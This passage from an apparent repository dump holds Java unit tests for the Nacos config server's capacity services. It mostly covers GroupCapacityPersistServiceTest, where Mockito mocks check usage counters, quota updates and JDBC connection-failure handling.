times(1)).incrementUsageWithDefaultQuotaLimit(any());\n        \n        service.insertAndUpdateClusterUsage(CounterMode.DECREMENT, true);\n        Mockito.verify(groupCapacityPersistService, times(1)).decrementUsage(any());\n    }\n    \n    @Test\n    void testUpdateClusterUsage() {\n        when(groupCapacityPersistService.incrementUsageWithDefaultQuotaLimit(any())).thenReturn(true);\n        when(groupCapacityPersistService.decrementUsage(any())).thenReturn(true);\n        \n        service.updateClusterUsage(CounterMode.INCREMENT);\n        Mockito.verify(groupCapacityPersistService, times(1)).incrementUsageWithDefaultQuotaLimit(any());\n        \n        service.updateClusterUsage(CounterMode.DECREMENT);\n        Mockito.verify(groupCapacityPersistService, times(1)).decrementUsage(any());\n    }\n    \n    @Test\n    void testInsertAndUpdateGroupUsage() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setGroupName(\"testGroup\");\n        groupCapacity.setUsage(300);\n        when(groupCapacityPersistService.getGroupCapacity(\"testGroup\")).thenReturn(groupCapacity);\n        when(groupCapacityPersistService.incrementUsage(any())).thenReturn(true);\n        when(groupCapacityPersistService.incrementUsageWithDefaultQuotaLimit(any())).thenReturn(true);\n        when(groupCapacityPersistService.decrementUsage(any())).thenReturn(true);\n        \n        service.insertAndUpdateGroupUsage(CounterMode.INCREMENT, \"testGroup\", true);\n        Mockito.verify(groupCapacityPersistService, times(1)).incrementUsage(any());\n        \n        service.insertAndUpdateClusterUsage(CounterMode.INCREMENT, false);\n        Mockito.verify(groupCapacityPersistService, times(1)).incrementUsageWithDefaultQuotaLimit(any());\n        \n        service.insertAndUpdateClusterUsage(CounterMode.DECREMENT, true);\n        Mockito.verify(groupCapacityPersistService, times(1)).decrementUsage(any());\n    }\n    \n    @Test\n    void testUpdateGroupUsage() {\n        when(groupCapacityPersistService.incrementUsageWithDefaultQuotaLimit(any())).thenReturn(true);\n        when(groupCapacityPersistService.decrementUsage(any())).thenReturn(true);\n        \n        service.updateGroupUsage(CounterMode.INCREMENT, \"testGroup\");\n        Mockito.verify(groupCapacityPersistService, times(1)).incrementUsageWithDefaultQuotaLimit(any());\n        \n        service.updateGroupUsage(CounterMode.DECREMENT, \"testGroup\");\n        Mockito.verify(groupCapacityPersistService, times(1)).decrementUsage(any());\n    }\n    \n    @Test\n    void testGetGroupCapacity() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setId(1L);\n        groupCapacity.setGroupName(\"testGroup\");\n        when(groupCapacityPersistService.getGroupCapacity(eq(\"testGroup\"))).thenReturn(groupCapacity);\n        \n        GroupCapacity resGroupCapacity = service.getGroupCapacity(\"testGroup\");\n        assertEquals(groupCapacity.getId(), resGroupCapacity.getId());\n        assertEquals(groupCapacity.getGroupName(), resGroupCapacity.getGroupName());\n    }\n    \n    @Test\n    void testInitGroupCapacity() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setGroupName(\"testGroup\");\n        groupCapacity.setUsage(300);\n        when(groupCapacityPersistService.insertGroupCapacity(any())).thenReturn(true);\n        when(groupCapacityPersistService.getGroupCapacity(eq(\"testGroup\"))).thenReturn(groupCapacity);\n        when(groupCapacityPersistService.updateQuota(eq(\"testGroup\"), eq(500))).thenReturn(true);\n        \n        service.initGroupCapacity(\"testGroup\");\n        Mockito.verify(groupCapacityPersistService, times(1)).insertGroupCapacity(any());\n        Mockito.verify(groupCapacityPersistService, times(1)).getGroupCapacity(eq(\"testGroup\"));\n        Mockito.verify(groupCapacityPersistService, times(1)).updateQuota(eq(\"testGroup\"), eq(500));\n    }\n    \n    @Test\n    void testGetCapacity() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setId(1L);\n        when(groupCapacityPersistService.getGroupCapacity(eq(\"testGroup\"))).thenReturn(groupCapacity);\n        \n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setId(2L);\n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(tenantCapacity);\n        \n        Capacity resCapacity1 = service.getCapacity(\"testGroup\", null);\n        assertEquals(1L, resCapacity1.getId().longValue());\n        \n        Capacity resCapacity2 = service.getCapacity(null, \"testTenant\");\n        assertEquals(2L, resCapacity2.getId().longValue());\n    }\n    \n    @Test\n    void testGetCapacityWithDefault() {\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setQuota(0);\n        tenantCapacity.setMaxSize(0);\n        tenantCapacity.setMaxAggrCount(0);\n        tenantCapacity.setMaxAggrSize(0);\n        when(tenantCapacityPersistService.getTenantCapacity(anyString())).thenReturn(tenantCapacity);\n        \n        GroupCapacity groupCapacity1 = new GroupCapacity();\n        groupCapacity1.setQuota(0);\n        groupCapacity1.setMaxSize(0);\n        groupCapacity1.setMaxAggrCount(0);\n        groupCapacity1.setMaxAggrSize(0);\n        when(groupCapacityPersistService.getGroupCapacity(anyString())).thenReturn(groupCapacity1);\n        \n        //group is null\n        Capacity resCapacity1 = service.getCapacityWithDefault(null, \"testTenant\");\n        assertEquals(PropertyUtil.getDefaultGroupQuota(), resCapacity1.getQuota().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxSize(), resCapacity1.getMaxSize().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxAggrCount(), resCapacity1.getMaxAggrCount().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxAggrSize(), resCapacity1.getMaxAggrSize().intValue());\n        \n        //group is GroupCapacityPersistService.CLUSTER\n        Capacity resCapacity2 = service.getCapacityWithDefault(GroupCapacityPersistService.CLUSTER, null);\n        assertEquals(PropertyUtil.getDefaultClusterQuota(), resCapacity2.getQuota().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxSize(), resCapacity2.getMaxSize().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxAggrCount(), resCapacity2.getMaxAggrCount().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxAggrSize(), resCapacity2.getMaxAggrSize().intValue());\n        \n        GroupCapacity groupCapacity2 = new GroupCapacity();\n        groupCapacity2.setQuota(0);\n        groupCapacity2.setMaxSize(0);\n        groupCapacity2.setMaxAggrCount(0);\n        groupCapacity2.setMaxAggrSize(0);\n        when(groupCapacityPersistService.getGroupCapacity(anyString())).thenReturn(groupCapacity2);\n        \n        //tenant is null\n        Capacity resCapacity3 = service.getCapacityWithDefault(\"testGroup\", null);\n        assertEquals(PropertyUtil.getDefaultGroupQuota(), resCapacity3.getQuota().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxSize(), resCapacity3.getMaxSize().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxAggrCount(), resCapacity3.getMaxAggrCount().intValue());\n        assertEquals(PropertyUtil.getDefaultMaxAggrSize(), resCapacity3.getMaxAggrSize().intValue());\n    }\n    \n    @Test\n    void testInitCapacityV1() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setUsage(300);\n        when(groupCapacityPersistService.getGroupCapacity(eq(\"testGroup\"))).thenReturn(groupCapacity);\n        when(groupCapacityPersistService.insertGroupCapacity(any())).thenReturn(true);\n        when(groupCapacityPersistService.updateQuota(eq(\"testGroup\"), eq(500))).thenReturn(true);\n        \n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setUsage(300);\n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(tenantCapacity);\n        when(tenantCapacityPersistService.insertTenantCapacity(any())).thenReturn(true);\n        when(tenantCapacityPersistService.updateQuota(eq(\"testTenant\"), eq(500))).thenReturn(true);\n        \n        service.initCapacity(\"testGroup\", null);\n        Mockito.verify(groupCapacityPersistService, times(1)).getGroupCapacity(eq(\"testGroup\"));\n        Mockito.verify(groupCapacityPersistService, times(1)).insertGroupCapacity(any());\n        Mockito.verify(groupCapacityPersistService, times(1)).updateQuota(eq(\"testGroup\"), eq(500));\n        \n        service.initCapacity(null, \"testTenant\");\n        Mockito.verify(tenantCapacityPersistService, times(1)).getTenantCapacity(eq(\"testTenant\"));\n        Mockito.verify(tenantCapacityPersistService, times(1)).insertTenantCapacity(any());\n        Mockito.verify(tenantCapacityPersistService, times(1)).updateQuota(eq(\"testTenant\"), eq(500));\n    }\n    \n    @Test\n    void testInitCapacityV2() {\n        when(groupCapacityPersistService.insertGroupCapacity(any())).thenReturn(true);\n        \n        service.initCapacity(GroupCapacityPersistService.CLUSTER, null);\n        Mockito.verify(groupCapacityPersistService, times(1)).insertGroupCapacity(any());\n    }\n    \n    @Test\n    void testInsertAndUpdateTenantUsage() {\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(\"testTenant\");\n        tenantCapacity.setUsage(300);\n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(tenantCapacity);\n        when(tenantCapacityPersistService.incrementUsage(any())).thenReturn(true);\n        when(tenantCapacityPersistService.incrementUsageWithDefaultQuotaLimit(any())).thenReturn(true);\n        when(tenantCapacityPersistService.decrementUsage(any())).thenReturn(true);\n        \n        service.insertAndUpdateTenantUsage(CounterMode.INCREMENT, \"testTenant\", true);\n        Mockito.verify(tenantCapacityPersistService, times(1)).incrementUsage(any());\n        \n        service.insertAndUpdateTenantUsage(CounterMode.INCREMENT, \"testTenant\", false);\n        Mockito.verify(tenantCapacityPersistService, times(1)).incrementUsageWithDefaultQuotaLimit(any());\n        \n        service.insertAndUpdateTenantUsage(CounterMode.DECREMENT, \"testTenant\", true);\n        Mockito.verify(tenantCapacityPersistService, times(1)).decrementUsage(any());\n    }\n    \n    @Test\n    void testUpdateTenantUsage() {\n        when(tenantCapacityPersistService.incrementUsageWithDefaultQuotaLimit(any())).thenReturn(true);\n        when(tenantCapacityPersistService.decrementUsage(any())).thenReturn(true);\n        \n        service.updateTenantUsage(CounterMode.INCREMENT, \"testTenant\");\n        Mockito.verify(tenantCapacityPersistService, times(1)).incrementUsageWithDefaultQuotaLimit(any());\n        \n        service.updateTenantUsage(CounterMode.DECREMENT, \"testTenant\");\n        Mockito.verify(tenantCapacityPersistService, times(1)).decrementUsage(any());\n    }\n    \n    @Test\n    void testInitTenantCapacityV1() {\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(\"testTenant\");\n        tenantCapacity.setUsage(300);\n        when(tenantCapacityPersistService.insertTenantCapacity(any())).thenReturn(true);\n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(tenantCapacity);\n        when(tenantCapacityPersistService.updateQuota(eq(\"testTenant\"), eq(500))).thenReturn(true);\n        \n        service.initTenantCapacity(\"testTenant\");\n        Mockito.verify(tenantCapacityPersistService, times(1)).insertTenantCapacity(any());\n        Mockito.verify(tenantCapacityPersistService, times(1)).getTenantCapacity(eq(\"testTenant\"));\n        Mockito.verify(tenantCapacityPersistService, times(1)).updateQuota(eq(\"testTenant\"), eq(500));\n    }\n    \n    @Test\n    void testInitTenantCapacityV2() {\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(\"testTenant\");\n        tenantCapacity.setUsage(300);\n        when(tenantCapacityPersistService.insertTenantCapacity(any())).thenReturn(true);\n        \n        service.initTenantCapacity(\"testTenant\", 0, 0, 0, 0);\n        Mockito.verify(tenantCapacityPersistService, times(1)).insertTenantCapacity(any());\n    }\n    \n    @Test\n    void testGetTenantCapacity() {\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setId(1L);\n        tenantCapacity.setNamespaceId(\"testTenant\");\n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(tenantCapacity);\n        \n        NamespaceCapacity resTenantCapacity = service.getTenantCapacity(\"testTenant\");\n        assertEquals(tenantCapacity.getId(), resTenantCapacity.getId());\n        assertEquals(tenantCapacity.getNamespaceId(), resTenantCapacity.getNamespaceId());\n    }\n    \n    @Test\n    void testInsertOrUpdateCapacityV1() {\n        //tenant is null\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setUsage(300);\n        when(groupCapacityPersistService.getGroupCapacity(eq(\"testGroup\"))).thenReturn(groupCapacity);\n        when(groupCapacityPersistService.updateGroupCapacity(eq(\"testGroup\"), eq(0), eq(0), eq(0), eq(0))).thenReturn(true);\n        service.insertOrUpdateCapacity(\"testGroup\", null, 0, 0, 0, 0);\n        Mockito.verify(groupCapacityPersistService, times(1)).getGroupCapacity(eq(\"testGroup\"));\n        Mockito.verify(groupCapacityPersistService, times(1)).updateGroupCapacity(eq(\"testGroup\"), eq(0), eq(0), eq(0), eq(0));\n        \n        //tenant is not null\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(\"testTenant\");\n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(tenantCapacity);\n        when(tenantCapacityPersistService.updateTenantCapacity(eq(\"testTenant\"), eq(0), eq(0), eq(0), eq(0))).thenReturn(true);\n        service.insertOrUpdateCapacity(null, \"testTenant\", 0, 0, 0, 0);\n        Mockito.verify(tenantCapacityPersistService, times(1)).getTenantCapacity(eq(\"testTenant\"));\n        Mockito.verify(tenantCapacityPersistService, times(1)).updateTenantCapacity(eq(\"testTenant\"), eq(0), eq(0), eq(0), eq(0));\n    }\n    \n    @Test\n    void testInsertOrUpdateCapacityV2() {\n        when(groupCapacityPersistService.getGroupCapacity(eq(\"testGroup\"))).thenReturn(null);\n        when(groupCapacityPersistService.insertGroupCapacity(any())).thenReturn(true);\n        service.insertOrUpdateCapacity(\"testGroup\", null, 0, 0, 0, 0);\n        Mockito.verify(groupCapacityPersistService, times(1)).getGroupCapacity(eq(\"testGroup\"));\n        Mockito.verify(groupCapacityPersistService, times(1)).insertGroupCapacity(any());\n        \n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(null);\n        when(tenantCapacityPersistService.insertTenantCapacity(any())).thenReturn(true);\n        service.insertOrUpdateCapacity(null, \"testTenant\", 0, 0, 0, 0);\n        Mockito.verify(tenantCapacityPersistService, times(1)).getTenantCapacity(eq(\"testTenant\"));\n        Mockito.verify(tenantCapacityPersistService, times(1)).insertTenantCapacity(any());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/capacity/GroupCapacityPersistServiceTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.capacity;\n\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.capacity.Capacity;\nimport com.alibaba.nacos.config.server.model.capacity.GroupCapacity;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.impl.mysql.ConfigInfoMapperByMySql;\nimport com.alibaba.nacos.plugin.datasource.impl.mysql.GroupCapacityMapperByMysql;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.stubbing.Answer;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.core.RowMapper;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\nclass GroupCapacityPersistServiceTest {\n    \n    MockedStatic<TimeUtils> timeUtilsMockedStatic;\n    \n    @InjectMocks\n    private GroupCapacityPersistService service;\n    \n    @Mock\n    private JdbcTemplate jdbcTemplate;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private MapperManager mapperManager;\n    \n    @AfterEach\n    void after() {\n        timeUtilsMockedStatic.close();\n    }\n    \n    @BeforeEach\n    void setUp() {\n        ReflectionTestUtils.setField(service, \"jdbcTemplate\", jdbcTemplate);\n        ReflectionTestUtils.setField(service, \"dataSourceService\", dataSourceService);\n        ReflectionTestUtils.setField(service, \"mapperManager\", mapperManager);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(jdbcTemplate);\n        doReturn(new GroupCapacityMapperByMysql()).when(mapperManager).findMapper(any(), eq(TableConstant.GROUP_CAPACITY));\n        timeUtilsMockedStatic = Mockito.mockStatic(TimeUtils.class);\n        \n    }\n    \n    @Test\n    void testGetGroupCapacity() {\n        \n        List<GroupCapacity> list = new ArrayList<>();\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setGroupName(\"test\");\n        list.add(groupCapacity);\n        \n        String groupId = \"testId\";\n        when(jdbcTemplate.query(anyString(), any(RowMapper.class), eq(new Object[] {groupId}))).thenReturn(list);\n        GroupCapacity ret = service.getGroupCapacity(groupId);\n        \n        assertEquals(groupCapacity.getGroupName(), ret.getGroupName());\n    }\n    \n    @Test\n    void testGetClusterCapacity() {\n        \n        List<GroupCapacity> list = new ArrayList<>();\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setId(1L);\n        list.add(groupCapacity);\n        \n        String groupId = GroupCapacityPersistService.CLUSTER;\n        when(jdbcTemplate.query(anyString(), any(RowMapper.class), eq(new Object[] {groupId}))).thenReturn(list);\n        Capacity ret = service.getClusterCapacity();\n        \n        assertEquals(groupCapacity.getId(), ret.getId());\n    }\n    \n    @Test\n    void testInsertGroupCapacity() {\n        \n        doReturn(1).when(jdbcTemplate).update(anyString(), eq(\"\"), eq(null), eq(null), eq(null), eq(null), eq(null), eq(null));\n        // when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test3\"))).thenReturn(1);\n        \n        GroupCapacity capacity = new GroupCapacity();\n        capacity.setGroupName(GroupCapacityPersistService.CLUSTER);\n        assertTrue(service.insertGroupCapacity(capacity));\n        \n        capacity.setGroupName(\"test\");\n        doReturn(1).when(jdbcTemplate)\n                .update(anyString(), eq(\"test\"), eq(null), eq(null), eq(null), eq(null), eq(null), eq(null), eq(\"test\"));\n        \n        assertTrue(service.insertGroupCapacity(capacity));\n    }\n    \n    @Test\n    void testGetClusterUsage() {\n        doReturn(new ConfigInfoMapperByMySql()).when(mapperManager).findMapper(any(), eq(TableConstant.CONFIG_INFO));\n        \n        List<GroupCapacity> list = new ArrayList<>();\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setId(1L);\n        groupCapacity.setUsage(10);\n        list.add(groupCapacity);\n        \n        String groupId = GroupCapacityPersistService.CLUSTER;\n        when(jdbcTemplate.query(anyString(), any(RowMapper.class),  eq(new Object[] {groupId}))).thenReturn(list);\n        assertEquals(groupCapacity.getUsage().intValue(), service.getClusterUsage());\n        \n        when(jdbcTemplate.query(anyString(), any(RowMapper.class), eq(new Object[] {groupId}))).thenReturn(new ArrayList<>());\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(20);\n        assertEquals(20, service.getClusterUsage());\n    }\n    \n    @Test\n    void testIncrementUsageWithDefaultQuotaLimit() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        groupCapacity.setGmtModified(timestamp);\n        groupCapacity.setGroupName(\"test\");\n        groupCapacity.setQuota(1);\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test\"), eq(1))).thenReturn(1);\n        \n        assertTrue(service.incrementUsageWithDefaultQuotaLimit(groupCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test\"), eq(1))).thenThrow(\n                new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.incrementUsageWithDefaultQuotaLimit(groupCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testIncrementUsageWithQuotaLimit() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        groupCapacity.setGmtModified(timestamp);\n        groupCapacity.setGroupName(\"test2\");\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test2\"))).thenReturn(1);\n        \n        assertTrue(service.incrementUsageWithQuotaLimit(groupCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test2\"))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.incrementUsageWithQuotaLimit(groupCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testIncrementUsage() {\n        \n        GroupCapacity groupCapacity = new GroupCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        groupCapacity.setGmtModified(timestamp);\n        groupCapacity.setGroupName(\"test3\");\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test3\"))).thenReturn(1);\n        \n        assertTrue(service.incrementUsage(groupCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test3\"))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.incrementUsage(groupCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testDecrementUsage() {\n        GroupCapacity groupCapacity = new GroupCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        groupCapacity.setGmtModified(timestamp);\n        groupCapacity.setGroupName(\"test4\");\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test4\"))).thenReturn(1);\n        \n        assertTrue(service.decrementUsage(groupCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test4\"))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.decrementUsage(groupCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testUpdateGroupCapacity() {\n        \n        List<Object> argList = CollectionUtils.list();\n        \n        Integer quota = 1;\n        argList.add(quota);\n        \n        Integer maxSize = 2;\n        argList.add(maxSize);\n        \n        Integer maxAggrCount = 3;\n        argList.add(maxAggrCount);\n        \n        Integer maxAggrSize = 4;\n        argList.add(maxAggrSize);\n        \n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        when(TimeUtils.getCurrentTime()).thenReturn(timestamp);\n        argList.add(timestamp);\n        \n        String group = \"test\";\n        argList.add(group);\n        \n        when(jdbcTemplate.update(anyString(), any(Object.class))).thenAnswer((Answer<Integer>) invocationOnMock -> {\n            if (invocationOnMock.getArgument(1).equals(quota) && invocationOnMock.getArgument(2).equals(maxSize)\n                    && invocationOnMock.getArgument(3).equals(maxAggrCount) && invocationOnMock.getArgument(4).equals(maxAggrSize)\n                    && invocationOnMock.getArgument(5).equals(timestamp) && invocationOnMock.getArgument(6).equals(group)) {\n                return 1;\n            }\n            return 0;\n        });\n        assertTrue(service.updateGroupCapacity(group, quota, maxSize, maxAggrCount, maxAggrSize));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), any(Object.class))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.updateGroupCapacity(group, quota, maxSize, maxAggrCount, maxAggrSize);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testGroupCapacityRowMapper() throws SQLException {\n        GroupCapacityPersistService.GroupCapacityRowMapper groupCapacityRowMapper = new GroupCapacityPersistService.GroupCapacityRowMapper();\n        ResultSet rs = Mockito.mock(ResultSet.class);\n        int quota = 12345;\n        Mockito.when(rs.getInt(eq(\"quota\"))).thenReturn(quota);\n        int usage = 1244;\n        Mockito.when(rs.getInt(eq(\"usage\"))).thenReturn(usage);\n        int maxSize = 123;\n        Mockito.when(rs.getInt(eq(\"max_size\"))).thenReturn(maxSize);\n        int maxAggrCount = 123;\n        Mockito.when(rs.getInt(eq(\"max_aggr_count\"))).thenReturn(maxAggrCount);\n        int maxAggrSize = 123;\n        Mockito.when(rs.getInt(eq(\"max_aggr_size\"))).thenReturn(maxAggrSize);\n        String group = \"testG\";\n        Mockito.when(rs.getString(eq(\"group_id\"))).thenReturn(group);\n        \n        GroupCapacity groupCapacity = groupCapacityRowMapper.mapRow(rs, 1);\n        assertEquals(quota, groupCapacity.getQuota().intValue());\n        assertEquals(usage, groupCapacity.getUsage().intValue());\n        assertEquals(maxSize, groupCapacity.getMaxSize().intValue());\n        assertEquals(maxAggrCount, groupCapacity.getMaxAggrCount().intValue());\n        assertEquals(maxAggrSize, groupCapacity.getMaxAggrSize().intValue());\n        assertEquals(group, groupCapacity.getGroupName());\n    }\n    \n    @Test\n    void testUpdateQuota() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        when(TimeUtils.getCurrentTime()).thenReturn(timestamp);\n        List<Object> argList = CollectionUtils.list();\n        \n        Integer quota = 2;\n        argList.add(quota);\n        \n        String group = \"test2\";\n        argList.add(group);\n        \n        when(jdbcTemplate.update(anyString(), eq(2), eq(timestamp), eq(group))).thenReturn(1);\n        \n        assertTrue(service.updateQuota(group, quota));\n    }\n    \n    @Test\n    void testUpdateMaxSize() {\n        \n        List<Object> argList = CollectionUtils.list();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        when(TimeUtils.getCurrentTime()).thenReturn(timestamp);\n        Integer maxSize = 3;\n        argList.add(maxSize);\n        \n        String group = \"test3\";\n        argList.add(group);\n        when(jdbcTemplate.update(anyString(), eq(3), eq(timestamp), eq(group))).thenReturn(1);\n        \n        assertTrue(service.updateMaxSize(group, maxSize));\n    }\n    \n    @Test\n    void testCorrectUsage() {\n        \n        String group = GroupCapacityPersistService.CLUSTER;\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(group))).thenReturn(1);\n        assertTrue(service.correctUsage(group, timestamp));\n        \n        group = \"test\";\n        when(jdbcTemplate.update(anyString(), eq(group), eq(timestamp), eq(group))).thenReturn(1);\n        assertTrue(service.correctUsage(group, timestamp));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(group), eq(timestamp), eq(group))).thenThrow(\n                new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.correctUsage(group, timestamp);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testGetCapacityList4CorrectUsage() {\n        \n        List<GroupCapacity> list = new ArrayList<>();\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setGroupName(\"test\");\n        list.add(groupCapacity);\n        long lastId = 1;\n        int pageSize = 1;\n        \n        when(jdbcTemplate.query(anyString(), eq(new Object[] {lastId, pageSize}), any(RowMapper.class))).thenReturn(list);\n        List<GroupCapacity> ret = service.getCapacityList4CorrectUsage(lastId, pageSize);\n        \n        assertEquals(list.size(), ret.size());\n        assertEquals(groupCapacity.getGroupName(), ret.get(0).getGroupName());\n        \n        //mock get connection fail\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {lastId, pageSize}), any(RowMapper.class))).thenThrow(\n                new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.getCapacityList4CorrectUsage(lastId, pageSize);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testDeleteGroupCapacity() {\n        \n        when(jdbcTemplate.update(any(PreparedStatementCreator.class))).thenReturn(1);\n        assertTrue(service.deleteGroupCapacity(\"test\"));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(any(PreparedStatementCreator.class))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.deleteGroupCapacity(\"test\");\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/capacity/TenantCapacityPersistServiceTest.java",
